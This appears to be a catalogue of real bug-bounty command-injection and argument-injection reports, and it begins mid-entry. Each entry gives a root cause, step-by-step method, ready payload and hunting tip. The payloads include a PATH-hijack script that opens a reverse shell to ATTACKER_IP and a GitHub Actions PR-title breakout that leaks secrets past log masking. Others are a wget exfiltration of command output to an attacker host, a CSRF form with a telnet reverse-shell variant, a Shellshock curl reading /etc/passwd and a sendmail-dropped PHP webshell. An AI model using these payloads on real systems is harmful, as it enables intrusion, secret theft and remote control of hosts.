- Set libjars to a path/URL to a malicious jar (or inject extra args)
- Trigger the task; the jar is added to classpath and its code runs on the worker
# Airflow Sqoop Connection 'libjars' controls: sqoop ... -libjars <ATTACKER_JAR>
-libjars /tmp/evil.jar
Insight — Connection/config strings that are concatenated into command-line tools are argument-injection sinks even without an obvious shell metacharacter: adding classpath/plugin flags (-libjars, -D, --load) is enough to achieve code exec.
Real-world example
GitHub Actions command injection via pull request title
◆ Medium
Specimen #2471956 · hyperledger · awarded · 26 votes · resolved
Program hyperledgerSurface otherChain PR title injection -> RCE on runner -> GITHUB_TOKEN thTag supply-chain
Root cause
A workflow interpolates the untrusted github.event.pull_request title directly inside a double-quoted run: shell step, so a crafted PR title breaks out of the string and executes commands on the runner with access to GITHUB_TOKEN.
Method
- Find a workflow that uses ${{ github.event.pull_request.* }} (title/body/branch) inside run:
- Fork and open a PR whose title contains a shell breakout
- The triggered job runs your command; exfiltrate secrets by encoding them to dodge GitHub's *** masking
PR title: U";cat $GITHUB_WORKSPACE/.git/config | xxd -p | base64; echo "D
Insight — Any ${{ github.event.* }} field controlled by an outside contributor is a command-injection source when placed in run:; pipe secrets through xxd/base64 to bypass the automatic token masking in logs.
Real-world example
Relative-path exec() -> PATH hijack -> root privilege escalation
◆ Medium
Specimen #784714 · slack · 750 · 10 votes · resolved
Program slackSurface desktopChain local user -> PATH poisoning -> code exec as rootTag supply-chain
Root cause
Nebula (Go) invokes exec.Command("ifconfig"/"route"/"netsh", ...) with a bare command name, so the OS resolves it via $PATH. A low-priv user who controls PATH (or drops a same-named binary in an earlier dir) has their code run when the privileged process shells out.
Method
- Find a root/SYSTEM process that calls external tools by relative name (ifconfig, route, netsh, openssl, etc.)
- Create a malicious executable with that name in a writable directory you can put on PATH (e.g. /tmp)
- Prepend that dir to PATH; when the privileged process runs the tool, your payload executes as root
# /tmp/ifconfig (chmod +x)
#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1 &
/sbin/ifconfig "$1" "$2" "$3"
# then: PATH=/tmp:$PATH sudo ./nebula -config config.yml
Insight — Any privileged binary that calls helpers by relative name is a local privesc primitive. Grep source for exec.Command(/system(/popen( with non-absolute first args; on Windows the equivalent is unqualified netsh/cmd. Fix = absolute paths.
Real-world example
Argument injection via controllable ODBC driver path → arbitrary library load
◆ Medium
Specimen #2065306 · ibb · 2480 · 10 votes · resolved
Program ibbSurface webChain connection-edit permission → controllable driver path → mali
Root cause
CVE-2023-34395: Apache Airflow ODBC provider (OdbcHook) let a connection's extra params set the ODBC 'driver' (a filesystem path to a shared library). Testing the connection loads that library, so a user who can edit connections executes arbitrary native code (command execution) as the Airflow worker.
Method
- Compile a malicious ODBC driver library (patch an existing driver's SQLDriverConnect to run system())
- In the Airflow connection config, set the extra 'driver' parameter to the path of the malicious library
- Click Test (or run a task using the hook) to trigger the driver load and code execution
// in mysql-connector-odbc driver.ansi SQLDriverConnect:
system("touch /tmp/apache-ariflow-odbc");
// build -> libmyodbc8a.so
// Airflow connection extra:
{"driver": "/tmp/libmyodbc8a.so"}
Insight — Connector/driver/plugin path parameters are code-load sinks. Wherever an app lets low-priv users specify a driver, engine, plugin, or library path (ODBC/JDBC/OpenSSL engine/PKCS#11), that is arbitrary-code-execution by design. Lock driver selection to server config, never accept it from user input.
Real-world example
Node module OS command injection via unsanitized shell string
◆ Medium
Specimen #728047 · nodejs-ecosystem · none · 7 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
The module builds a shell command by string-concatenating user input and runs it through child_process exec, so shell metacharacters in the argument execute arbitrary commands.
Method
- Locate the API that passes your input into an exec/child_process call
- Inject a shell separator + command (; & | $()) into that argument
- Command runs on the host
// git-promise
var git = require("git-promise");
git("init;touch HACKED");
// blamer (CVE-2020-8137) - same primitive
blamer.blameByFile('poc.js', 'test; touch HACKED;#');
Insight — Grep node deps for child_process exec/execSync with template-string interpolation of arguments; any wrapper around git/svn/ffmpeg/imagemagick that formats a command string is command-injectable. Prefer execFile/spawn with an args array.
Real-world example
Ruby Kernel#open leading-pipe gadget via crafted filename (rdoc)
◆ Medium
Specimen #1161691 · ruby · awarded · 7 votes · resolved
Program rubySurface otherTag supply-chain
Root cause
rdoc passes filenames it discovers into Ruby's Kernel#open, which treats a string beginning with '|' as a shell command to spawn. A repo containing a file named '| command' triggers OS command execution when docs are generated. CVE-2021-31799.
Method
- Place a file in the project whose name is a piped shell command matching rdoc's parse pattern (e.g. ends in 'tags')
- Victim runs 'rdoc --all' over the tree
- Kernel#open('| touch evil.txt ...') spawns the command
touch '| touch evil.txt && echo tags'
rdoc --all
# rdoc calls open(file); the leading '|' makes Ruby run the rest as a command
Insight — In Ruby, open(str)/IO.read(str) with a leading '|' is a command-execution sink. Any tool that opens attacker-named files (doc generators, linters, archivers) can be attacked by planting a maliciously named file deep in a repo. Use File.open (not Kernel#open) or File.read to avoid pipe interpretation.
Real-world example
Command injection via unescaped filename to exec() in image processing
◆ Medium
Specimen #250273 · expressionengine · none · 3 votes · resolved
Program expressionengineSurface webChain attacker-controlled filename -> unescaped exec() -> co
Root cause
Image_lib's image_process_imagemagick / image_process_netpbm build shell commands with full_src_path/full_dst_path concatenated unescaped into PHP exec(), so an attacker who controls the image filename injects OS commands.
Method
- Control the source/destination filename processed by the ImageMagick/netpbm path
- Include shell metacharacters in the filename
- exec() runs the injected command
// vulnerable: exec("convert ".$this->full_src_path." ...") with unescaped path
filename: "a.jpg; touch /tmp/HACKED; #"
// fix: escapeshellarg() on full_src_path/full_dst_path
Insight — Apps that shell out to imagemagick/convert/netpbm/ffmpeg with filesystem paths are command-injection sinks whenever the filename is user-influenced; grep for exec/system/proc_open with concatenated paths and missing escapeshellarg.
Real-world example
Sendmail argument injection via attacker-controlled sender address
◆ Medium
Specimen #59663 · concretecms · none · 3 votes · resolved
Program concretecmsSurface webChain argument injection into sendmail -> write PHP log to web
Root cause
Concrete5 uses an unvalidated user-supplied value as the envelope sender when sending registration mail via the sendmail transport. PHP passes the From address into the sendmail command line, so sendmail options can be injected (classic -X/-O QueueDirectory) to write attacker-controlled content (a PHP shell) to a web-served path.
Method
- Find a mail-sending feature whose From/sender address is user-controlled and uses the sendmail binary (PHP mail() additional_parameters).
- Set the address to inject sendmail flags (e.g. -OQueueDirectory=/tmp -X/var/www/html/shell.php).
- Trigger the mail; sendmail writes its log/queue (containing your injected PHP) to the chosen web path -> RCE.
# sender address crafted to inject sendmail args (technique; exact string not in report):
attacker@x.com -OQueueDirectory=/tmp -X/var/www/html/poc.php
# body/headers seeded with <?php system($_GET['c']); ?> so the -X log is a webshell
Insight — Any From/Return-Path/sender field that reaches the sendmail command line is an argument-injection sink; -X (log to file) + -O options let you drop a PHP shell into web root. Look wherever apps hand user email addresses to the sendmail transport.
Real-world example
Command injection via password-change driver shelling out (Roundcube virtualmin)
◆ Medium
Specimen #242119 · ibb · none · 3 votes · resolved
Program ibbSurface web
Root cause
Roundcube's Password plugin virtualmin driver builds a shell command from the user-supplied new password to invoke the system password tool without escaping, so shell metacharacters in the new password execute on the mail server (CVE-2017-8114).
Method
- Authenticate to the webmail panel with valid creds.
- Trigger a password change with shell metacharacters embedded in the new-password value.
- Driver passes it to the virtualmin CLI unescaped -> command execution / other users' password reset.
# new password field carrying shell metacharacters, e.g.
newpass`id`
newpass$(command)
# reaches the virtualmin change-password shell invocation unescaped
Insight — Password-change / user-provisioning plugins that shell out to system tools (virtualmin, chpasswd, saslpasswd) are command-injection sinks; test new-password and username fields with $(), backticks, and separators. Report body cites the CVE rather than the raw payload.
Real-world example
Command injection via unescaped environment-variable NAME in container runner
◆ Low
Specimen #2221404 · mozilla · USD 500 · 56 votes · resolved
Program mozillaSurface cloud
Root cause
Taskcluster's worker escapes most user-supplied task parameters (image, command, artifact path) with a robust shell.escape, but never applies it to the env-variable NAME before building the podman command line, so an attacker embeds shell metacharacters in the env key and executes commands on the worker host.
Method
- Log in to the multi-tenant task creator (any GitHub user could use the example worker group)
- Create a task whose payload.env uses a KEY containing shell metacharacters
- Run the task and read live logs to see command output
payload:
env:
test2 --help ; whoami ; ls -lah ;: '--help'
image: ubuntu:latest
command: [/bin/bash, '-c', 'echo hello']
Insight — When auditing sanitizers, check the map KEYS not just values - developers escape values (env values, arg values) but forget the identifiers (env names, flag names) that also land on the command line. Multi-tenant CI runners with 'example'/tutorial worker groups often let any user reach worker RCE.
Real-world example
OS command injection via data 'extra' field
◆ Low
Specimen #2705661 · ibb · awarded · 54 votes · resolved
Program ibbSurface web
Root cause
An Apache Airflow example DAG (read_dataset_event_from_classic) passed a Dataset's attacker-controllable 'extra' metadata into a shell command; a user with create-Dataset + trigger-DAG rights injects OS commands executed on DAG run (CVE-2024-45498).
Method
- Log in with a low-priv user having 'create Dataset' and 'DAG trigger' perms
- POST a dataset event with a command-substitution payload in extra
- Trigger read_dataset_event_from_classic DAG
- Command runs; check task log for output
POST /api/v1/datasets/events HTTP/1.1
Content-Type: application/json
{"dataset_uri":"s3://output/1.txt","extra":{"hi":" '$(id)' "}}
Insight — Trace user-controllable metadata (dataset extra, tags, descriptions) into any component that later builds a shell/template string. Bash command substitution $(...) in a JSON string field is a common injection route in data-pipeline tooling.
Real-world example
Windows batch escaping bypass via trailing spaces/periods
◆ Low
Specimen #2721478 · ibb · USD 505 · 53 votes · resolved
Program ibbSurface desktop
Root cause
Rust std::process::Command's fix for CVE-2024-24576 (batch-file arg escaping on Windows) checked for a .bat/.cmd extension, but Windows silently strips trailing whitespace/periods from filenames, so 'evil.bat.' or 'evil.bat ' bypassed the check while still executing as batch (CVE-2024-43402).
Method
- Invoke a batch script via Command with untrusted args on Windows
- Reference the script name with a trailing space or period (evil.bat. / 'evil.bat ')
- Extension check fails to recognize it as batch, so escaping is skipped
- Windows normalizes the name and runs it as a batch file -> arg injection
Command::new("evil.bat.") // trailing dot
Command::new("evil.bat ") // trailing space
// arg-escaping fix skipped; Windows strips the trailing char and executes as .bat
Insight — Windows filename normalization (stripping trailing dots/spaces, 8.3 names, ADS) repeatedly defeats extension-based security checks. When a fix keys on file extension, test trailing '.'/' ' and case to slip past it.
Real-world example
SSH ProxyCommand/ProxyJump command injection via malicious hostname token
◆ Low
Specimen #2293731 · ibb · USD 540 · 39 votes · resolved
Program ibbSurface other
Root cause
libssh (0.8-0.10) and OpenSSH expanded ProxyCommand/ProxyJump templates substituting the %h (hostname) token without validating hostname syntax, so a hostname containing shell metacharacters injects commands into the proxy command line executed on the client. CVE-2023-6004 / OpenSSH 9.6 fix.
Method
- Get the victim to connect using a config with ProxyCommand/ProxyJump and an attacker-influenced hostname
- Supply a hostname whose characters break out of the proxy command
- Client executes injected command with user interaction
# hostname/URL carrying shell metacharacters gets expanded into %h of ProxyCommand
ssh 'evil`touch /tmp/pwn`host'
# common vector: attacker-controlled host in a .gitmodules submodule URL -> git clone -> ssh ProxyCommand
Insight — Anywhere an app builds an ssh/scp/git command from an externally controlled hostname (git submodule URLs, CI checkout, VPN configs), untrusted hostnames reach %h in ProxyCommand and become command injection. Validate hostname charset; do not shell-interpolate host tokens.
Real-world example
Ruby Net::FTP RCE via Kernel#open pipe on server-controlled filename (CVE-2017-17405)
◆ Low
Specimen #294462 · ruby · awarded · 28 votes · resolved
Program rubySurface other
Root cause
Net::FTP#gettextfile/getbinaryfile default the local filename to File.basename(remotefile) and open() it with Kernel#open; a filename beginning with '|' makes Ruby's open() spawn the trailing string as an OS command.
Method
- Stand up a malicious FTP server that returns filenames beginning with a pipe
- Have the victim client list+download files (relying on server-provided names)
- Kernel#open("| os command", "w") executes the injected command
# malicious FTP server returns a file named:
| id > pang
# vulnerable client:
ftp.gettextfile(remote_name) # localfile defaults to File.basename => open("| id > pang","w")
Insight — Ruby's Kernel#open treats a leading '|' as a shell command. Any code path where a filename/path can start with '|' (FTP filenames, user uploads, config values) and is passed to open() rather than File.open() is RCE. Grep for open( on tainted paths in Ruby audits.
Real-world example
Git argument injection via user input concatenated into git command
◆ Low
Specimen #1763704 · kubernetes · $100 · 14 votes · resolved
Program kubernetesSurface webChain arg injection into git -> arbitrary program execution (RCTag supply-chain
Root cause
User input flows unescaped into a git command line (LSRemoteExec), so a value starting with '--' is parsed as a git option; --upload-pack=<cmd> makes git execute an arbitrary program, giving command execution without any shell metacharacters.
Method
- Find a code path that shells out to git/hg/ssh with user-controlled args (repo URL, ref, remote)
- Supply a value beginning with -- so it is treated as an option not data
- Use git's --upload-pack (or hg equivalents) to run an arbitrary binary
- Remediate/detect by requiring a -- separator before user values
git.LSRemoteExec("--upload-pack=touch${IFS}hack", "master")
# git ls-remote --upload-pack=touch<space>hack master -> runs `touch hack`
Insight — Argument injection is command injection without shell metachars: any user string reaching a CLI as an argv element can hijack behavior via option-lookalike values. Sinks: git (--upload-pack/--output/-c), curl (-o/-K), tar, find, ssh (-o ProxyCommand). Fix is a '--' separator; its absence is the tell.
Real-world example
Argument injection into execa() despite command-injection filter (CVE-2020-8123)
◆ Low
Specimen #768574 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface api
Root cause
Strapi's install/uninstall plugin handlers validate the plugin name with /^[A-Za-z0-9_-]+$/ before passing it to execa('npm run strapi -- install <input>'); the regex allows '-', so values like -h/--help/-v are treated as CLI flags (argument injection), and the unconditional strapi.reload() restarts the server.
Method
- Intercept the marketplace install/uninstall request in the admin panel
- Set the plugin value to -h, --help, -v, or --version (allowed by the regex)
- Flags are appended to the npm/strapi command; server reloads/restarts on every request -> DoS
POST /admin/marketplace ... {"plugin":"--help"} // or -h / -v / --version
Insight — An allowlist that permits '-' still permits argument injection even when it blocks shell metacharacters. When user input becomes an argv element to a CLI, test leading-dash flags (-h, --version, --output, --config) — they can change behavior, leak, write files, or (here) force restarts. Use argv arrays and '--' end-of-options guards.
Real-world example
Blacklist bypass via backtick in indy-node POOL_UPGRADE package name
◆ Low
Specimen #1859592 · hyperledger · none · 2 votes · resolved
Program hyperledgerSurface otherChain privileged POOL_UPGRADE tx -> filtered-but-bypassable she
Root cause
indy-node's upgrade flow puts the ledger-supplied package name/version into apt shell commands. compose_cmd() only strips input after the first ;, |, or && (re.split on ';|&&'), so a backtick command substitution passes the filter and executes on every node processing the POOL_UPGRADE transaction.
Method
- As a Trustee, submit a POOL_UPGRADE with a package name that has a valid prefix (indy-node) and a version >= current.
- Embed the payload using backticks (the char the blacklist misses) instead of ;|&&.
- compose_cmd concatenates it into apt-cache/upgrade shell command -> command runs on all nodes.
# compose_cmd blacklist: re.split(";|&&", cmd, 1)[0] -> ; | && are cut, ` is not
# package name payload:
indy-node`touch /tmp/pwned`
# also survives: $(cmd) is not in the blacklist either
Insight — Command-injection blacklists that only cover ; | && are trivially bypassed with backticks or $() substitution and newlines. When you see a denylist filter, always try the metacharacters it forgot. Privileged/consensus roles turn one injection into fleet-wide RCE.
Real-world example
Ruby stdlib Shell#[] / Shell#test command injection via send + subshell
◆ Low
Specimen #327512 · ruby · awarded · 1 votes · resolved
Program rubySurface otherChain object/deserialization injection -> Shell#[] subshell -&g
Root cause
Ruby's shell library resolves Shell#test / Shell#[] arguments with send after converting the argument to an absolute path, allowing private methods and subshell expansion; a crafted value like $(...) triggers command execution.
Method
- Reach a code path that passes user-influenced data into Shell#[] or Shell#test.
- Provide a value containing a subshell $(...).
- Command executes when the path is resolved.
require 'shell'
sh = Shell.new
sh['system', '$(touch xy)'] # creates file xy via subshell
Insight — Deserialization/object-injection chains can pivot through 'benign' stdlib helpers; Ruby's Shell#[]/#test is a subshell sink to remember when hunting gadget chains. Standalone impact is low (rarely fed user input directly).
Real-world example
Ruby Rake::FileList#egrep pipe-filename command execution (CVE-2020-8130)
◆ Info
Specimen #651518 · ruby · awarded · 62 votes · resolved
Program rubySurface otherChain attacker-named file in a globbed FileList -> egrep IO opeTag file-upload
Root cause
Rake::FileList#egrep opens each listed filename with Ruby's Kernel#open/IO semantics, where a filename beginning with | is treated as a command to run. A repo/dir containing a file named '| touch evil.txt' executes that command when egrep runs over the FileList.
Method
- Get a file whose name starts with | into a directory that a Rakefile/library will glob into a FileList.
- When egrep (or any IO.foreach/open on the entry) runs, Ruby spawns the pipe command.
# a file literally named:
| touch evil.txt
# then:
list = Rake::FileList.new(Dir.glob('*'))
list.egrep(/something/) # runs: touch evil.txt
Insight — Ruby's Kernel#open and IO.foreach treat a leading | in a filename as a shell command - a classic sink. Any code that opens attacker-influenced filenames (uploads, archive members, globbed repo files) with open()/IO without File.open is command injection. Prefer File.open / explicit modes.
Real-world example
Ruby Pathname/IO leading-pipe command execution
◆ Info
Specimen #449482 · ruby · 200 · 36 votes · resolved
Program rubySurface other
Root cause
Pathname's read/binread/binwrite/each_line/readlines/write delegate to Kernel#open/IO, which executes the argument as a command when it begins with '|'. Attacker-controlled paths passed to these methods run OS commands.
Method
- Pass an attacker-controlled value beginning with | to Pathname(...).read (or IO.read/open)
- The remainder is executed as a shell command
Pathname("|touch pwned").read
Pathname("|id").readlines
Insight — In Ruby, never pass untrusted input to Kernel#open / IO.read / Pathname#read - a leading '|' means command execution; use File.open or File.read explicitly instead.
Real-world example
Blind OS command injection via unsanitized query param ($(...) shell substitution)
◆ Info
Specimen #73567 · shopify · awarded · 28 votes · resolved
Program shopifySurface web
Root cause
A PHP endpoint (webpagetest testlog.php) passes the days/filter parameter into a shell command without sanitization, allowing $(...) command substitution.
Method
- Enter $(`sleep 20`) in the input and observe a ~20s delayed response to confirm blind injection
- Exfiltrate command output out-of-band by fetching an attacker host with the result embedded in the path
- Confirm via attacker access logs
http://TARGET/testlog.php?days=1&filter=%24%28%60wget+ATTACKER%2F%24%28id%29%60%29
Insight — For blind command injection, prove it with a timing payload (sleep) then exfiltrate with an outbound wget/curl embedding $(id) in the URL path to your logs. Reviewing OSS source (here webpagetest testlog.php on GitHub) pinpoints the sink.
Real-world example
Second-order OS command injection via attacker-controlled speedtest server response (AirOS)
◆ Info
Specimen #128750 · ui · awarded · 22 votes · resolved
Program uiSurface networkTag webhook
Root cause
AirOS parseHeaders() extracts a Set-Cookie value from a remote speedtest peer into $session_key and concatenates it into an exec() command line without sanitization, so a malicious speedtest peer injects shell metacharacters via a crafted cookie name.
Method
- Run a rogue HTTP server that returns a Set-Cookie whose name embeds backtick command substitution
- Trigger a speed test from the target against the rogue server
- The injected backtick command runs when doLogin builds and exec()s the command string
echo -en "HTTP/1.1 200 OK\r\nSet-Cookie: AIROS_`reboot`=12345678901234567890123456789012;\r\nContent-Length: 1\r\nContent-Type: text/html\r\n\r\nA" | ncat -l -p 8080
# then start a speed test against http://ATTACKER:8080
Insight — Command injection sources are not only direct request params: data returned by a server the app talks to (speedtest peer, FTP listing, webhook response) reaches exec() too. This variant bypassed the fix for the direct-param bug #119317.
Real-world example
ImageTragick: ImageMagick coder/delegate shell-metachar RCE via crafted image (CVE-2016-3714)
◆ Info
Specimen #143966 · ibb · awarded · 22 votes · resolved
Program ibbSurface webChain Image upload -> ImageMagick delegate command injection -&Tag file-upload
Root cause
ImageMagick's EPHEMERAL/HTTPS/MVG/MSL/TEXT/SHOW/WIN/PLT coders pass insufficiently filtered content into shell command delegates, so a crafted image processed by an upload/thumbnail pipeline executes attacker commands.
Method
- Find an endpoint that processes uploaded images with ImageMagick (avatars, thumbnails, PDF/SVG convert)
- Upload a file whose content is an MVG/MSL directive invoking the https/ephemeral delegate with shell metacharacters
- ImageMagick's delegate runs the injected command -> RCE / SSRF
# exploit.mvg (public ImageTragick PoC)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl COLLAB;")'
pop graphic-context
Insight — Any image-processing upload that hasn't patched/policy-restricted ImageMagick is a file-upload->RCE. Blind OOB (curl/dns to Collaborator) via the https/ephemeral coder confirms it even without output. Also mitigated by policy.xml coder restrictions.
Real-world example
Shell injection in CGI wget wrapper (dl-fw.cgi fw_url), CSRF-deliverable (Ubiquiti airOS)
◆ Info
Specimen #121940 · ui · awarded · 20 votes · resolved
Program uiSurface networkChain CSRF -> command injection -> reverse shell
Root cause
dl-fw.cgi builds a wget command string with the fw_url POST parameter unsanitized and passes it to exec(); backtick/metacharacters in fw_url execute as shell commands. The script is directly reachable in the webroot.
Method
- POST to /dl-fw.cgi with action=download and fw_url containing backtick command substitution
- Deliver via CSRF (auto-submitting HTML form) since the CGI has no CSRF/auth barrier from webroot
- Command runs on the device (e.g. start telnetd for a shell)
<form action="https://192.168.1.1/dl-fw.cgi" method="POST">
<input type=hidden name=action value=download>
<input type=hidden name=fw_url value="http://ATTACKER/x/`telnetd`">
</form><script>document.forms[0].submit()</script>
# reverse shell variant:
# telnet ATTACKER PORT1 | /bin/sh | telnet ATTACKER PORT2
Insight — CGI scripts in the webroot that shell out to wget/curl with a URL parameter are prime command-injection sinks; combine with CSRF to reach internal-only device panels from a victim's browser.
Real-world example
Shellshock: env-var function-definition command injection (CVE-2014-6271)
◆ Info
Specimen #29839 · ibb · awarded · 19 votes · resolved
Program ibbSurface other
Root cause
Bash (<=4.3) evaluates trailing commands appended after an exported function definition in an environment variable, so any surface that puts attacker-controlled data into a child bash env (CGI, DHCP, sshd ForceCommand) yields RCE.
Method
- Find a CGI/handler that spawns bash with request-controlled env (User-Agent, Cookie, headers -> HTTP_* vars)
- Send a crafted env value: empty function stub followed by a command
- Command executes when bash imports the env
curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' http://TARGET/cgi-bin/status
Insight — General primitive: attacker-controlled data reaching a bash environment == RCE on unpatched hosts. HTTP headers become HTTP_* CGI env vars; also DHCP options, OpenSSH ForceCommand, mail filters.
Real-world example
OpenSSH/dropbear xauth command injection bypasses forced-command/restricted shell (CVE-2016-3115)
◆ Info
Specimen #122113 · ibb · USD 1500 · 5 votes · resolved
Program ibbSurface networkChain restricted shell bypass → arbitrary file read/write → info d
Root cause
With X11Forwarding enabled, the untrusted client-supplied X11 auth data is passed to xauth as command input without sanitisation; xauth's own command language (source/spawn/etc.) lets an attacker inject xauth commands, escaping forced-commands and restricted login shells (/bin/false) to read/write files and open outbound X connections.
Method
- Confirm target sshd has X11Forwarding yes and the account is restricted (forced command or /bin/false)
- Request an X11 channel and supply crafted xauth protocol/data fields containing newline-separated xauth commands
- Use xauth 'source'/'spawn'/file directives to gain arbitrary file read/write and info disclosure (xauth env)
# crafted X11 auth injected into xauth stdin (conceptual):
xauth> source /etc/passwd
xauth> spawn ...
# full PoC: github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115
Insight — Any restricted-shell / forced-command SSH hardening is void if X11Forwarding is on and the server shells out to xauth with attacker-controlled auth data. Check for X11Forwarding when assessing 'locked-down' SSH accounts.
Real-world example
Web-to-BGP: attacking looking-glass web apps wrapping router telnet/ssh
◆ Info
Specimen #16330 · ibb · awarded · 2 votes · resolved
Program ibbSurface webChain Reflected XSS / exposed creds / command injection in lookingTag account-takeover
Root cause
Looking-glass web apps (Cougar-LG, mrlg4php, Cistron-LG) are thin, decade-old PHP/Perl scripts directly connected to backbone routers over telnet/ssh; weak command sanitization allows arbitrary router command injection, unsafe defaults expose credentials/SSH keys, and reflected XSS steals sibling admin-panel cookies.
Method
- Fingerprint public looking-glass installs (Cougar-LG/mrlg4php)
- Inject shell/router-command metacharacters into the query/host fields to run arbitrary commands on the router console
- Harvest exposed config files and SSH private keys from default paths
- Chain reflected XSS to steal cookies for other admin panels on the same origin
Insight — Small, unmaintained web wrappers over privileged backends (network gear, IPMI, PDUs) are extreme-leverage targets: input flows almost directly to a shell/telnet session. Enumerate the OSS by name, check for exposed default config/SSH-key paths, and test the command-building params for injection - impact can escalate to BGP-level Internet disruption.